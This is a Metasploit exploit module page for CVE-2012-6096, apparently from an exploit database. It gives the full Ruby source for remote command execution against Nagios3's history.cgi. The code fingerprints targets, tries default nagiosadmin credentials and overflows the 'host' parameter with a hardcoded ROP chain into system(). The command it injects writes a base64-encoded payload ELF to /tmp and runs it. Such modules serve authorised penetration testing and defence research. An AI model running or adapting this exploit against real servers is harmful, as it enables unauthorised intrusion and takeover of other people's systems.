Nagios3 history.cgi Host Command Execution

2013-01-15T14:32:32
ID MSF:EXPLOIT/UNIX/WEBAPP/NAGIOS3_HISTORY_CGI
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module abuses a command injection vulnerability in the Nagios3 history.cgi script.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nagios3 history.cgi Host Command Execution',
      'Description'    => %q{
          This module abuses a command injection vulnerability in the
        Nagios3 history.cgi script.
      },
      'Author'         => [
        'Unknown <temp66[at]gmail.com>',		    # Original finding
        'blasty <blasty[at]fail0verflow.com>',	    # First working exploit
        'Jose Selvi <jselvi[at]pentester.es>',	    # Metasploit module
        'Daniele Martini <cyrax[at]pkcrew.org>'	# Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6096' ],
          [ 'OSVDB', '88322' ],
          [ 'BID', '56879' ],
          [ 'EDB', '24084' ]
        ],
      'Platform'       => %w{ linux unix },
      'Arch'           => [ ARCH_X86 ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 200,	# Due to a system() parameter length limitation
          'BadChars'    => '',	# It'll be base64 encoded
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { 'auto' => true }],
          # NOTE: All addresses are from the history.cgi binary
          [ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
            {
              'BannerRE' => 'Apache/2.2.15 (CentOS)',
              'VersionRE' => '3.4.1',
              'Arch' => ARCH_X86,
              'Offset' => 0xc43,
              'RopStack' =>
                [
                  0x0804c260,	# unescape_cgi_input()
                  0x08048f04,	# pop, ret
                  0x08079b60,	# buffer addr
                  0x08048bb0,	# system()
                  0x08048e70,	# exit()
                  0x08079b60	# buffer addr
                ]
            }
          ],
          [ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)',
            {
              'BannerRE' => 'Apache/2.2.9 (Debian)',
              'VersionRE' => '3.0.6',
              'Arch' => ARCH_X86,
              'Offset' => 0xc37,
              'RopStack' =>
                [
                  0x0804b620,	# unescape_cgi_input()
                  0x08048fe4,	# pop, ret
                  0x080727a0,	# buffer addr
                  0x08048c7c,	# system()
                  0xdeafbabe,	# if should be exit() but it's not
                  0x080727a0	# buffer addr
                ]
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 09 2012'))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
        OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
        OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
      ])
  end

  def detect_version(uri)
    # Send request
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => uri,
      'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
    }, 10)

    # Error handling
    if res.nil?
      print_error("Unable to get a response from the server")
      return nil, nil
    end
    if(res.code == 401)
      print_error("Please specify correct values for USER and PASS")
      return nil, nil
    end
    if(res.code == 404)
      print_error("Please specify the correct path to history.cgi in the URI parameter")
      return nil, nil
    end

    # Extract banner from response
    banner = res.headers['Server']

    # Extract version from body
    version = nil
    version_line = res.body.match(/Nagios® (Core™ )?[0-9.]+ -/)
    if not version_line.nil?
      version = version_line[0].match(/[0-9.]+/)[0]
    end

    # Check in an alert exists
    alert = res.body.match(/ALERT/)

    return version, banner, alert
  end

  def select_target(version, banner)

    # No banner and version, no target
    if banner.nil? or version.nil?
      return nil
    end

    # Get version information
    print_status("Web Server banner: #{banner}")
    print_status("Nagios version detected: #{version}")

    # Try regex for each target
    self.targets.each do |t|
      if t['BannerRE'].nil? or t['VersionRE'].nil?  # It doesn't exist in Auto Target
        next
      end
      regexp1 = Regexp.escape(t['BannerRE'])
      regexp2 = Regexp.escape(t['VersionRE'])
      if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
        return t
      end
    end
    # If not detected, return nil
    return nil
  end

  def check
    print_status("Checking banner and version...")
    # Detect version
    banner, version, alert = detect_version(target_uri.path)
    # Select target
    mytarget = select_target(banner, version)

    if mytarget.nil?
      vprint_error("No matching target")
      return CheckCode::Unknown
    end

    if alert.nil?
      vprint_error("At least one ALERT is needed in order to exploit")
      return CheckCode::Detected
    end

    return CheckCode::Appears
  end

  def exploit
    # Automatic Targeting
    mytarget = nil
    banner, version, alert = detect_version(target_uri.path)
    if (target['auto'])
      print_status("Automatically detecting the target...")
      mytarget = select_target(banner, version)
      if mytarget.nil?
        fail_with(Failure::NoTarget, "No matching target")
      end
    else
      mytarget = target
    end

    print_status("Selected Target: #{mytarget.name}")
    if alert.nil?
      print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...")
    end
    print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")

    # Generate a payload ELF to execute
    elfbin = generate_payload_exe
    elfb64 = Rex::Text.encode_base64(elfbin)

    # Generate random filename
    tempfile = '/tmp/' + rand_text_alphanumeric(10)

    # Generate command-line execution
    if mytarget.name =~ /CentOS/
      cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};"
    else
      cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}"
    end
    host_value = cmd.gsub!(' ', '${IFS}')

    # Generate 'host' parameter value
    padding_size = mytarget['Offset'] - host_value.length
    host_value << rand_text_alphanumeric( padding_size )

    # Generate ROP
    host_value << mytarget['RopStack'].pack('V*')

    # Send exploit
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
      'vars_get' =>
      {
        'host' => host_value
      }
    })

    if not res
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end

    if res.code == 401
      fail_with(Failure::NoAccess, "Please specify correct values for USER and PASS")
    end

    if res.code == 404
      fail_with(Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
    end

    print_status("Unknown response #{res.code}")
  end
end